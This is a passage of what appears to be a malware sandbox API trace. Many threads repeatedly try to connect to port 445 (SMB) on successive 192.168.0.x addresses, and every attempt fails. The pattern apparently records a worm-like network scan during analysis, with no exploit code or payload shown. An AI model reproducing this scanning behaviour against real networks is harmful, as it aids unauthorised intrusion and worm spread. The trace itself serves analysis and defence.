0 [0095.993] WSACleanup () returned 0 [0095.993] GetCurrentThreadId () returned 0xbf0 [0095.993] GetCurrentThreadId () returned 0xbf0 [0095.993] GetCurrentThreadId () returned 0xbf0 Thread: id = 109 os_tid = 0x10c [0074.808] GetCurrentThreadId () returned 0x10c [0074.808] GetCurrentThreadId () returned 0x10c [0074.808] GetCurrentThreadId () returned 0x10c [0074.808] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x901fdf0 | out: lpWSAData=0x901fdf0) returned 0 [0074.808] socket (af=2, type=1, protocol=0) returned 0x754 [0074.808] inet_addr (cp="192.168.0.34") returned 0x2200a8c0 [0074.809] htons (hostshort=0x1bd) returned 0xbd01 [0074.809] connect (s=0x754, name=0x901fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.34"), namelen=16) returned -1 [0095.993] closesocket (s=0x754) returned 0 [0095.994] WSACleanup () returned 0 [0095.994] GetCurrentThreadId () returned 0x10c [0095.994] GetCurrentThreadId () returned 0x10c [0095.994] GetCurrentThreadId () returned 0x10c Thread: id = 110 os_tid = 0x868 [0074.916] GetCurrentThreadId () returned 0x868 [0074.916] GetCurrentThreadId () returned 0x868 [0074.916] GetCurrentThreadId () returned 0x868 [0074.916] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x915fdf0 | out: lpWSAData=0x915fdf0) returned 0 [0074.916] socket (af=2, type=1, protocol=0) returned 0x768 [0074.917] inet_addr (cp="192.168.0.43") returned 0x2b00a8c0 [0074.917] htons (hostshort=0x1bd) returned 0xbd01 [0074.917] connect (s=0x768, name=0x915fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.43"), namelen=16) returned -1 [0095.994] closesocket (s=0x768) returned 0 [0095.994] WSACleanup () returned 0 [0095.994] GetCurrentThreadId () returned 0x868 [0095.994] GetCurrentThreadId () returned 0x868 [0095.994] GetCurrentThreadId () returned 0x868 Thread: id = 111 os_tid = 0x3c8 [0074.918] GetCurrentThreadId () returned 0x3c8 [0074.918] GetCurrentThreadId () returned 0x3c8 [0074.918] GetCurrentThreadId () returned 0x3c8 [0074.918] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x929fdf0 | out: lpWSAData=0x929fdf0) returned 0 [0074.918] socket (af=2, type=1, protocol=0) returned 0x774 [0074.919] inet_addr (cp="192.168.0.35") returned 0x2300a8c0 [0074.919] htons (hostshort=0x1bd) returned 0xbd01 [0074.919] connect (s=0x774, name=0x929fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.35"), namelen=16) returned -1 [0095.994] closesocket (s=0x774) returned 0 [0095.995] WSACleanup () returned 0 [0095.995] GetCurrentThreadId () returned 0x3c8 [0095.995] GetCurrentThreadId () returned 0x3c8 [0095.995] GetCurrentThreadId () returned 0x3c8 Thread: id = 112 os_tid = 0x9c8 [0074.963] GetCurrentThreadId () returned 0x9c8 [0074.963] GetCurrentThreadId () returned 0x9c8 [0074.963] GetCurrentThreadId () returned 0x9c8 [0074.963] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x93dfdf0 | out: lpWSAData=0x93dfdf0) returned 0 [0074.963] socket (af=2, type=1, protocol=0) returned 0x788 [0074.963] inet_addr (cp="192.168.0.44") returned 0x2c00a8c0 [0074.963] htons (hostshort=0x1bd) returned 0xbd01 [0074.963] connect (s=0x788, name=0x93dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.44"), namelen=16) returned -1 [0096.103] closesocket (s=0x788) returned 0 [0096.104] WSACleanup () returned 0 [0096.104] GetCurrentThreadId () returned 0x9c8 [0096.104] GetCurrentThreadId () returned 0x9c8 [0096.104] GetCurrentThreadId () returned 0x9c8 Thread: id = 113 os_tid = 0xaf8 [0074.964] GetCurrentThreadId () returned 0xaf8 [0074.964] GetCurrentThreadId () returned 0xaf8 [0074.964] GetCurrentThreadId () returned 0xaf8 [0074.964] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x951fdf0 | out: lpWSAData=0x951fdf0) returned 0 [0074.964] socket (af=2, type=1, protocol=0) returned 0x794 [0074.964] inet_addr (cp="192.168.0.36") returned 0x2400a8c0 [0074.965] htons (hostshort=0x1bd) returned 0xbd01 [0074.965] connect (s=0x794, name=0x951fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.36"), namelen=16) returned -1 [0096.104] closesocket (s=0x794) returned 0 [0096.104] WSACleanup () returned 0 [0096.104] GetCurrentThreadId () returned 0xaf8 [0096.104] GetCurrentThreadId () returned 0xaf8 [0096.104] GetCurrentThreadId () returned 0xaf8 Thread: id = 114 os_tid = 0x988 [0075.057] GetCurrentThreadId () returned 0x988 [0075.057] GetCurrentThreadId () returned 0x988 [0075.057] GetCurrentThreadId () returned 0x988 [0075.057] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x965fdf0 | out: lpWSAData=0x965fdf0) returned 0 [0075.057] socket (af=2, type=1, protocol=0) returned 0x7a8 [0075.057] inet_addr (cp="192.168.0.45") returned 0x2d00a8c0 [0075.057] htons (hostshort=0x1bd) returned 0xbd01 [0075.057] connect (s=0x7a8, name=0x965fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.45"), namelen=16) returned -1 [0096.104] closesocket (s=0x7a8) returned 0 [0096.105] WSACleanup () returned 0 [0096.105] GetCurrentThreadId () returned 0x988 [0096.105] GetCurrentThreadId () returned 0x988 [0096.105] GetCurrentThreadId () returned 0x988 Thread: id = 115 os_tid = 0xb70 [0075.058] GetCurrentThreadId () returned 0xb70 [0075.058] GetCurrentThreadId () returned 0xb70 [0075.058] GetCurrentThreadId () returned 0xb70 [0075.058] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x979fdf0 | out: lpWSAData=0x979fdf0) returned 0 [0075.058] socket (af=2, type=1, protocol=0) returned 0x7b4 [0075.058] inet_addr (cp="192.168.0.37") returned 0x2500a8c0 [0075.058] htons (hostshort=0x1bd) returned 0xbd01 [0075.058] connect (s=0x7b4, name=0x979fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.37"), namelen=16) returned -1 [0096.105] closesocket (s=0x7b4) returned 0 [0096.105] WSACleanup () returned 0 [0096.105] GetCurrentThreadId () returned 0xb70 [0096.105] GetCurrentThreadId () returned 0xb70 [0096.105] GetCurrentThreadId () returned 0xb70 Thread: id = 116 os_tid = 0xb1c [0075.152] GetCurrentThreadId () returned 0xb1c [0075.152] GetCurrentThreadId () returned 0xb1c [0075.152] GetCurrentThreadId () returned 0xb1c [0075.152] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x98dfdf0 | out: lpWSAData=0x98dfdf0) returned 0 [0075.152] socket (af=2, type=1, protocol=0) returned 0x7c8 [0075.152] inet_addr (cp="192.168.0.46") returned 0x2e00a8c0 [0075.152] htons (hostshort=0x1bd) returned 0xbd01 [0075.152] connect (s=0x7c8, name=0x98dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.46"), namelen=16) returned -1 [0096.201] closesocket (s=0x7c8) returned 0 [0096.201] WSACleanup () returned 0 [0096.202] GetCurrentThreadId () returned 0xb1c [0096.202] GetCurrentThreadId () returned 0xb1c [0096.202] GetCurrentThreadId () returned 0xb1c Thread: id = 117 os_tid = 0x7b8 [0075.153] GetCurrentThreadId () returned 0x7b8 [0075.153] GetCurrentThreadId () returned 0x7b8 [0075.153] GetCurrentThreadId () returned 0x7b8 [0075.153] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x9a1fdf0 | out: lpWSAData=0x9a1fdf0) returned 0 [0075.153] socket (af=2, type=1, protocol=0) returned 0x7d4 [0075.153] inet_addr (cp="192.168.0.38") returned 0x2600a8c0 [0075.153] htons (hostshort=0x1bd) returned 0xbd01 [0075.153] connect (s=0x7d4, name=0x9a1fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.38"), namelen=16) returned -1 [0096.202] closesocket (s=0x7d4) returned 0 [0096.202] WSACleanup () returned 0 [0096.202] GetCurrentThreadId () returned 0x7b8 [0096.202] GetCurrentThreadId () returned 0x7b8 [0096.202] GetCurrentThreadId () returned 0x7b8 Thread: id = 118 os_tid = 0xb74 [0075.245] GetCurrentThreadId () returned 0xb74 [0075.245] GetCurrentThreadId () returned 0xb74 [0075.245] GetCurrentThreadId () returned 0xb74 [0075.245] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x9b5fdf0 | out: lpWSAData=0x9b5fdf0) returned 0 [0075.245] socket (af=2, type=1, protocol=0) returned 0x7e8 [0075.245] inet_addr (cp="192.168.0.47") returned 0x2f00a8c0 [0075.245] htons (hostshort=0x1bd) returned 0xbd01 [0075.245] connect (s=0x7e8, name=0x9b5fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.47"), namelen=16) returned -1 [0096.397] closesocket (s=0x7e8) returned 0 [0096.398] WSACleanup () returned 0 [0096.398] GetCurrentThreadId () returned 0xb74 [0096.398] GetCurrentThreadId () returned 0xb74 [0096.398] GetCurrentThreadId () returned 0xb74 Thread: id = 119 os_tid = 0xa58 [0075.247] GetCurrentThreadId () returned 0xa58 [0075.247] GetCurrentThreadId () returned 0xa58 [0075.247] GetCurrentThreadId () returned 0xa58 [0075.247] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x9c9fdf0 | out: lpWSAData=0x9c9fdf0) returned 0 [0075.247] socket (af=2, type=1, protocol=0) returned 0x7f4 [0075.249] inet_addr (cp="192.168.0.39") returned 0x2700a8c0 [0075.249] htons (hostshort=0x1bd) returned 0xbd01 [0075.249] connect (s=0x7f4, name=0x9c9fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.39"), namelen=16) returned -1 [0096.398] closesocket (s=0x7f4) returned 0 [0096.399] WSACleanup () returned 0 [0096.399] GetCurrentThreadId () returned 0xa58 [0096.399] GetCurrentThreadId () returned 0xa58 [0096.399] GetCurrentThreadId () returned 0xa58 Thread: id = 120 os_tid = 0xb84 [0075.337] GetCurrentThreadId () returned 0xb84 [0075.337] GetCurrentThreadId () returned 0xb84 [0075.337] GetCurrentThreadId () returned 0xb84 [0075.337] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x9ddfdf0 | out: lpWSAData=0x9ddfdf0) returned 0 [0075.337] socket (af=2, type=1, protocol=0) returned 0x80c [0075.338] inet_addr (cp="192.168.0.48") returned 0x3000a8c0 [0075.338] htons (hostshort=0x1bd) returned 0xbd01 [0075.338] connect (s=0x80c, name=0x9ddfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.48"), namelen=16) returned -1 [0096.399] closesocket (s=0x80c) returned 0 [0096.399] WSACleanup () returned 0 [0096.399] GetCurrentThreadId () returned 0xb84 [0096.400] GetCurrentThreadId () returned 0xb84 [0096.400] GetCurrentThreadId () returned 0xb84 Thread: id = 121 os_tid = 0xbf4 [0075.339] GetCurrentThreadId () returned 0xbf4 [0075.339] GetCurrentThreadId () returned 0xbf4 [0075.339] GetCurrentThreadId () returned 0xbf4 [0075.339] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x9f1fdf0 | out: lpWSAData=0x9f1fdf0) returned 0 [0075.339] socket (af=2, type=1, protocol=0) returned 0x818 [0075.339] inet_addr (cp="192.168.0.40") returned 0x2800a8c0 [0075.339] htons (hostshort=0x1bd) returned 0xbd01 [0075.339] connect (s=0x818, name=0x9f1fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.40"), namelen=16) returned -1 [0096.400] closesocket (s=0x818) returned 0 [0096.400] WSACleanup () returned 0 [0096.400] GetCurrentThreadId () returned 0xbf4 [0096.400] GetCurrentThreadId () returned 0xbf4 [0096.400] GetCurrentThreadId () returned 0xbf4 Thread: id = 122 os_tid = 0x9a8 [0075.432] GetCurrentThreadId () returned 0x9a8 [0075.432] GetCurrentThreadId () returned 0x9a8 [0075.432] GetCurrentThreadId () returned 0x9a8 [0075.432] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xa05fdf0 | out: lpWSAData=0xa05fdf0) returned 0 [0075.432] socket (af=2, type=1, protocol=0) returned 0x82c [0075.432] inet_addr (cp="192.168.0.49") returned 0x3100a8c0 [0075.432] htons (hostshort=0x1bd) returned 0xbd01 [0075.432] connect (s=0x82c, name=0xa05fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.49"), namelen=16) returned -1 [0096.600] closesocket (s=0x82c) returned 0 [0096.601] WSACleanup () returned 0 [0096.601] GetCurrentThreadId () returned 0x9a8 [0096.601] GetCurrentThreadId () returned 0x9a8 [0096.601] GetCurrentThreadId () returned 0x9a8 Thread: id = 123 os_tid = 0xa78 [0075.433] GetCurrentThreadId () returned 0xa78 [0075.433] GetCurrentThreadId () returned 0xa78 [0075.433] GetCurrentThreadId () returned 0xa78 [0075.433] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xa19fdf0 | out: lpWSAData=0xa19fdf0) returned 0 [0075.433] socket (af=2, type=1, protocol=0) returned 0x838 [0075.434] inet_addr (cp="192.168.0.41") returned 0x2900a8c0 [0075.434] htons (hostshort=0x1bd) returned 0xbd01 [0075.434] connect (s=0x838, name=0xa19fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.41"), namelen=16) returned -1 [0096.601] closesocket (s=0x838) returned 0 [0096.601] WSACleanup () returned 0 [0096.601] GetCurrentThreadId () returned 0xa78 [0096.601] GetCurrentThreadId () returned 0xa78 [0096.601] GetCurrentThreadId () returned 0xa78 Thread: id = 124 os_tid = 0x594 [0075.525] GetCurrentThreadId () returned 0x594 [0075.525] GetCurrentThreadId () returned 0x594 [0075.525] GetCurrentThreadId () returned 0x594 [0075.525] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xa2dfdf0 | out: lpWSAData=0xa2dfdf0) returned 0 [0075.525] socket (af=2, type=1, protocol=0) returned 0x84c [0075.525] inet_addr (cp="192.168.0.50") returned 0x3200a8c0 [0075.525] htons (hostshort=0x1bd) returned 0xbd01 [0075.525] connect (s=0x84c, name=0xa2dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.50"), namelen=16) returned -1 [0096.601] closesocket (s=0x84c) returned 0 [0096.601] WSACleanup () returned 0 [0096.601] GetCurrentThreadId () returned 0x594 [0096.601] GetCurrentThreadId () returned 0x594 [0096.602] GetCurrentThreadId () returned 0x594 Thread: id = 125 os_tid = 0xbf8 [0075.526] GetCurrentThreadId () returned 0xbf8 [0075.526] GetCurrentThreadId () returned 0xbf8 [0075.526] GetCurrentThreadId () returned 0xbf8 [0075.526] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xa41fdf0 | out: lpWSAData=0xa41fdf0) returned 0 [0075.526] socket (af=2, type=1, protocol=0) returned 0x858 [0075.526] inet_addr (cp="192.168.0.42") returned 0x2a00a8c0 [0075.526] htons (hostshort=0x1bd) returned 0xbd01 [0075.526] connect (s=0x858, name=0xa41fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.42"), namelen=16) returned -1 [0096.602] closesocket (s=0x858) returned 0 [0096.602] WSACleanup () returned 0 [0096.602] GetCurrentThreadId () returned 0xbf8 [0096.602] GetCurrentThreadId () returned 0xbf8 [0096.602] GetCurrentThreadId () returned 0xbf8 Thread: id = 126 os_tid = 0xa88 [0075.619] GetCurrentThreadId () returned 0xa88 [0075.619] GetCurrentThreadId () returned 0xa88 [0075.619] GetCurrentThreadId () returned 0xa88 [0075.619] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xa55fdf0 | out: lpWSAData=0xa55fdf0) returned 0 [0075.619] socket (af=2, type=1, protocol=0) returned 0x86c [0075.620] inet_addr (cp="192.168.0.51") returned 0x3300a8c0 [0075.620] htons (hostshort=0x1bd) returned 0xbd01 [0075.620] connect (s=0x86c, name=0xa55fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.51"), namelen=16) returned -1 [0096.694] closesocket (s=0x86c) returned 0 [0096.695] WSACleanup () returned 0 [0096.695] GetCurrentThreadId () returned 0xa88 [0096.695] GetCurrentThreadId () returned 0xa88 [0096.695] GetCurrentThreadId () returned 0xa88 Thread: id = 127 os_tid = 0xa28 [0075.621] GetCurrentThreadId () returned 0xa28 [0075.621] GetCurrentThreadId () returned 0xa28 [0075.621] GetCurrentThreadId () returned 0xa28 [0075.621] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xa69fdf0 | out: lpWSAData=0xa69fdf0) returned 0 [0075.621] socket (af=2, type=1, protocol=0) returned 0x878 [0075.621] inet_addr (cp="192.168.0.43") returned 0x2b00a8c0 [0075.621] htons (hostshort=0x1bd) returned 0xbd01 [0075.621] connect (s=0x878, name=0xa69fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.43"), namelen=16) returned -1 [0096.695] closesocket (s=0x878) returned 0 [0096.695] WSACleanup () returned 0 [0096.695] GetCurrentThreadId () returned 0xa28 [0096.695] GetCurrentThreadId () returned 0xa28 [0096.695] GetCurrentThreadId () returned 0xa28 Thread: id = 128 os_tid = 0xa38 [0075.712] GetCurrentThreadId () returned 0xa38 [0075.712] GetCurrentThreadId () returned 0xa38 [0075.712] GetCurrentThreadId () returned 0xa38 [0075.712] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xa7dfdf0 | out: lpWSAData=0xa7dfdf0) returned 0 [0075.712] socket (af=2, type=1, protocol=0) returned 0x88c [0075.712] inet_addr (cp="192.168.0.52") returned 0x3400a8c0 [0075.712] htons (hostshort=0x1bd) returned 0xbd01 [0075.712] connect (s=0x88c, name=0xa7dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.52"), namelen=16) returned -1 [0096.881] closesocket (s=0x88c) returned 0 [0096.881] WSACleanup () returned 0 [0096.881] GetCurrentThreadId () returned 0xa38 [0096.881] GetCurrentThreadId () returned 0xa38 [0096.881] GetCurrentThreadId () returned 0xa38 Thread: id = 129 os_tid = 0x454 [0075.713] GetCurrentThreadId () returned 0x454 [0075.713] GetCurrentThreadId () returned 0x454 [0075.713] GetCurrentThreadId () returned 0x454 [0075.713] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xa91fdf0 | out: lpWSAData=0xa91fdf0) returned 0 [0075.713] socket (af=2, type=1, protocol=0) returned 0x898 [0075.713] inet_addr (cp="192.168.0.44") returned 0x2c00a8c0 [0075.713] htons (hostshort=0x1bd) returned 0xbd01 [0075.713] connect (s=0x898, name=0xa91fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.44"), namelen=16) returned -1 [0096.881] closesocket (s=0x898) returned 0 [0096.882] WSACleanup () returned 0 [0096.882] GetCurrentThreadId () returned 0x454 [0096.882] GetCurrentThreadId () returned 0x454 [0096.882] GetCurrentThreadId () returned 0x454 Thread: id = 130 os_tid = 0x114 [0075.805] GetCurrentThreadId () returned 0x114 [0075.805] GetCurrentThreadId () returned 0x114 [0075.805] GetCurrentThreadId () returned 0x114 [0075.805] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xaa5fdf0 | out: lpWSAData=0xaa5fdf0) returned 0 [0075.805] socket (af=2, type=1, protocol=0) returned 0x8ac [0075.806] inet_addr (cp="192.168.0.53") returned 0x3500a8c0 [0075.806] htons (hostshort=0x1bd) returned 0xbd01 [0075.806] connect (s=0x8ac, name=0xaa5fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.53"), namelen=16) returned -1 [0096.882] closesocket (s=0x8ac) returned 0 [0096.882] WSACleanup () returned 0 [0096.882] GetCurrentThreadId () returned 0x114 [0096.882] GetCurrentThreadId () returned 0x114 [0096.882] GetCurrentThreadId () returned 0x114 Thread: id = 131 os_tid = 0x6e8 [0075.806] GetCurrentThreadId () returned 0x6e8 [0075.806] GetCurrentThreadId () returned 0x6e8 [0075.806] GetCurrentThreadId () returned 0x6e8 [0075.806] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xab9fdf0 | out: lpWSAData=0xab9fdf0) returned 0 [0075.806] socket (af=2, type=1, protocol=0) returned 0x8b8 [0075.807] inet_addr (cp="192.168.0.45") returned 0x2d00a8c0 [0075.807] htons (hostshort=0x1bd) returned 0xbd01 [0075.807] connect (s=0x8b8, name=0xab9fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.45"), namelen=16) returned -1 [0096.882] closesocket (s=0x8b8) returned 0 [0096.882] WSACleanup () returned 0 [0096.883] GetCurrentThreadId () returned 0x6e8 [0096.883] GetCurrentThreadId () returned 0x6e8 [0096.883] GetCurrentThreadId () returned 0x6e8 Thread: id = 132 os_tid = 0xbb8 [0075.902] GetCurrentThreadId () returned 0xbb8 [0075.902] GetCurrentThreadId () returned 0xbb8 [0075.902] GetCurrentThreadId () returned 0xbb8 [0075.902] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xacdfdf0 | out: lpWSAData=0xacdfdf0) returned 0 [0075.902] socket (af=2, type=1, protocol=0) returned 0x8cc [0075.902] inet_addr (cp="192.168.0.54") returned 0x3600a8c0 [0075.902] htons (hostshort=0x1bd) returned 0xbd01 [0075.902] connect (s=0x8cc, name=0xacdfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.54"), namelen=16) returned -1 [0097.099] closesocket (s=0x8cc) returned 0 [0097.099] WSACleanup () returned 0 [0097.099] GetCurrentThreadId () returned 0xbb8 [0097.100] GetCurrentThreadId () returned 0xbb8 [0097.100] GetCurrentThreadId () returned 0xbb8 Thread: id = 133 os_tid = 0x36c [0075.903] GetCurrentThreadId () returned 0x36c [0075.904] GetCurrentThreadId () returned 0x36c [0075.904] GetCurrentThreadId () returned 0x36c [0075.904] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xae1fdf0 | out: lpWSAData=0xae1fdf0) returned 0 [0075.904] socket (af=2, type=1, protocol=0) returned 0x8d8 [0075.904] inet_addr (cp="192.168.0.46") returned 0x2e00a8c0 [0075.904] htons (hostshort=0x1bd) returned 0xbd01 [0075.904] connect (s=0x8d8, name=0xae1fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.46"), namelen=16) returned -1 [0097.100] closesocket (s=0x8d8) returned 0 [0097.100] WSACleanup () returned 0 [0097.100] GetCurrentThreadId () returned 0x36c [0097.100] GetCurrentThreadId () returned 0x36c [0097.100] GetCurrentThreadId () returned 0x36c Thread: id = 134 os_tid = 0x9b8 [0075.992] GetCurrentThreadId () returned 0x9b8 [0075.992] GetCurrentThreadId () returned 0x9b8 [0075.992] GetCurrentThreadId () returned 0x9b8 [0075.992] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xaf5fdf0 | out: lpWSAData=0xaf5fdf0) returned 0 [0075.992] socket (af=2, type=1, protocol=0) returned 0x8ec [0075.993] inet_addr (cp="192.168.0.55") returned 0x3700a8c0 [0075.993] htons (hostshort=0x1bd) returned 0xbd01 [0075.993] connect (s=0x8ec, name=0xaf5fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.55"), namelen=16) returned -1 [0097.100] closesocket (s=0x8ec) returned 0 [0097.100] WSACleanup () returned 0 [0097.100] GetCurrentThreadId () returned 0x9b8 [0097.100] GetCurrentThreadId () returned 0x9b8 [0097.100] GetCurrentThreadId () returned 0x9b8 Thread: id = 135 os_tid = 0x958 [0076.000] GetCurrentThreadId () returned 0x958 [0076.000] GetCurrentThreadId () returned 0x958 [0076.000] GetCurrentThreadId () returned 0x958 [0076.000] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xb09fdf0 | out: lpWSAData=0xb09fdf0) returned 0 [0076.000] socket (af=2, type=1, protocol=0) returned 0x8f8 [0076.002] inet_addr (cp="192.168.0.47") returned 0x2f00a8c0 [0076.002] htons (hostshort=0x1bd) returned 0xbd01 [0076.002] connect (s=0x8f8, name=0xb09fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.47"), namelen=16) returned -1 [0097.101] closesocket (s=0x8f8) returned 0 [0097.101] WSACleanup () returned 0 [0097.101] GetCurrentThreadId () returned 0x958 [0097.101] GetCurrentThreadId () returned 0x958 [0097.101] GetCurrentThreadId () returned 0x958 Thread: id = 136 os_tid = 0x54c [0076.102] GetCurrentThreadId () returned 0x54c [0076.102] GetCurrentThreadId () returned 0x54c [0076.102] GetCurrentThreadId () returned 0x54c [0076.102] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xb1dfdf0 | out: lpWSAData=0xb1dfdf0) returned 0 [0076.102] socket (af=2, type=1, protocol=0) returned 0x90c [0076.102] inet_addr (cp="192.168.0.56") returned 0x3800a8c0 [0076.102] htons (hostshort=0x1bd) returned 0xbd01 [0076.102] connect (s=0x90c, name=0xb1dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.56"), namelen=16) returned -1 [0097.208] closesocket (s=0x90c) returned 0 [0097.209] WSACleanup () returned 0 [0097.209] GetCurrentThreadId () returned 0x54c [0097.209] GetCurrentThreadId () returned 0x54c [0097.209] GetCurrentThreadId () returned 0x54c Thread: id = 137 os_tid = 0x408 [0076.103] GetCurrentThreadId () returned 0x408 [0076.103] GetCurrentThreadId () returned 0x408 [0076.103] GetCurrentThreadId () returned 0x408 [0076.104] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xb31fdf0 | out: lpWSAData=0xb31fdf0) returned 0 [0076.104] socket (af=2, type=1, protocol=0) returned 0x918 [0076.105] inet_addr (cp="192.168.0.48") returned 0x3000a8c0 [0076.105] htons (hostshort=0x1bd) returned 0xbd01 [0076.105] connect (s=0x918, name=0xb31fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.48"), namelen=16) returned -1 [0097.209] closesocket (s=0x918) returned 0 [0097.209] WSACleanup () returned 0 [0097.209] GetCurrentThreadId () returned 0x408 [0097.209] GetCurrentThreadId () returned 0x408 [0097.209] GetCurrentThreadId () returned 0x408 Thread: id = 138 os_tid = 0xc0 [0076.195] GetCurrentThreadId () returned 0xc0 [0076.195] GetCurrentThreadId () returned 0xc0 [0076.195] GetCurrentThreadId () returned 0xc0 [0076.195] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xb45fdf0 | out: lpWSAData=0xb45fdf0) returned 0 [0076.195] socket (af=2, type=1, protocol=0) returned 0x92c [0076.195] inet_addr (cp="192.168.0.57") returned 0x3900a8c0 [0076.196] htons (hostshort=0x1bd) returned 0xbd01 [0076.196] connect (s=0x92c, name=0xb45fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.57"), namelen=16) returned -1 [0097.474] closesocket (s=0x92c) returned 0 [0097.475] WSACleanup () returned 0 [0097.475] GetCurrentThreadId () returned 0xc0 [0097.475] GetCurrentThreadId () returned 0xc0 [0097.475] GetCurrentThreadId () returned 0xc0 Thread: id = 139 os_tid = 0x67c [0076.196] GetCurrentThreadId () returned 0x67c [0076.196] GetCurrentThreadId () returned 0x67c [0076.196] GetCurrentThreadId () returned 0x67c [0076.196] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xb59fdf0 | out: lpWSAData=0xb59fdf0) returned 0 [0076.196] socket (af=2, type=1, protocol=0) returned 0x938 [0076.197] inet_addr (cp="192.168.0.49") returned 0x3100a8c0 [0076.197] htons (hostshort=0x1bd) returned 0xbd01 [0076.197] connect (s=0x938, name=0xb59fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.49"), namelen=16) returned -1 [0097.475] closesocket (s=0x938) returned 0 [0097.475] WSACleanup () returned 0 [0097.475] GetCurrentThreadId () returned 0x67c [0097.475] GetCurrentThreadId () returned 0x67c [0097.475] GetCurrentThreadId () returned 0x67c Thread: id = 140 os_tid = 0x848 [0076.289] GetCurrentThreadId () returned 0x848 [0076.289] GetCurrentThreadId () returned 0x848 [0076.289] GetCurrentThreadId () returned 0x848 [0076.289] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xb6dfdf0 | out: lpWSAData=0xb6dfdf0) returned 0 [0076.289] socket (af=2, type=1, protocol=0) returned 0x94c [0076.289] inet_addr (cp="192.168.0.58") returned 0x3a00a8c0 [0076.289] htons (hostshort=0x1bd) returned 0xbd01 [0076.289] connect (s=0x94c, name=0xb6dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.58"), namelen=16) returned -1 [0097.475] closesocket (s=0x94c) returned 0 [0097.475] WSACleanup () returned 0 [0097.476] GetCurrentThreadId () returned 0x848 [0097.476] GetCurrentThreadId () returned 0x848 [0097.476] GetCurrentThreadId () returned 0x848 Thread: id = 141 os_tid = 0x7f4 [0076.292] GetCurrentThreadId () returned 0x7f4 [0076.292] GetCurrentThreadId () returned 0x7f4 [0076.292] GetCurrentThreadId () returned 0x7f4 [0076.292] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xb81fdf0 | out: lpWSAData=0xb81fdf0) returned 0 [0076.292] socket (af=2, type=1, protocol=0) returned 0x958 [0076.292] inet_addr (cp="192.168.0.50") returned 0x3200a8c0 [0076.292] htons (hostshort=0x1bd) returned 0xbd01 [0076.292] connect (s=0x958, name=0xb81fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.50"), namelen=16) returned -1 [0097.476] closesocket (s=0x958) returned 0 [0097.476] WSACleanup () returned 0 [0097.476] GetCurrentThreadId () returned 0x7f4 [0097.476] GetCurrentThreadId () returned 0x7f4 [0097.476] GetCurrentThreadId () returned 0x7f4 Thread: id = 142 os_tid = 0x698 [0076.382] GetCurrentThreadId () returned 0x698 [0076.382] GetCurrentThreadId () returned 0x698 [0076.382] GetCurrentThreadId () returned 0x698 [0076.382] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xb95fdf0 | out: lpWSAData=0xb95fdf0) returned 0 [0076.383] socket (af=2, type=1, protocol=0) returned 0x96c [0076.383] inet_addr (cp="192.168.0.59") returned 0x3b00a8c0 [0076.383] htons 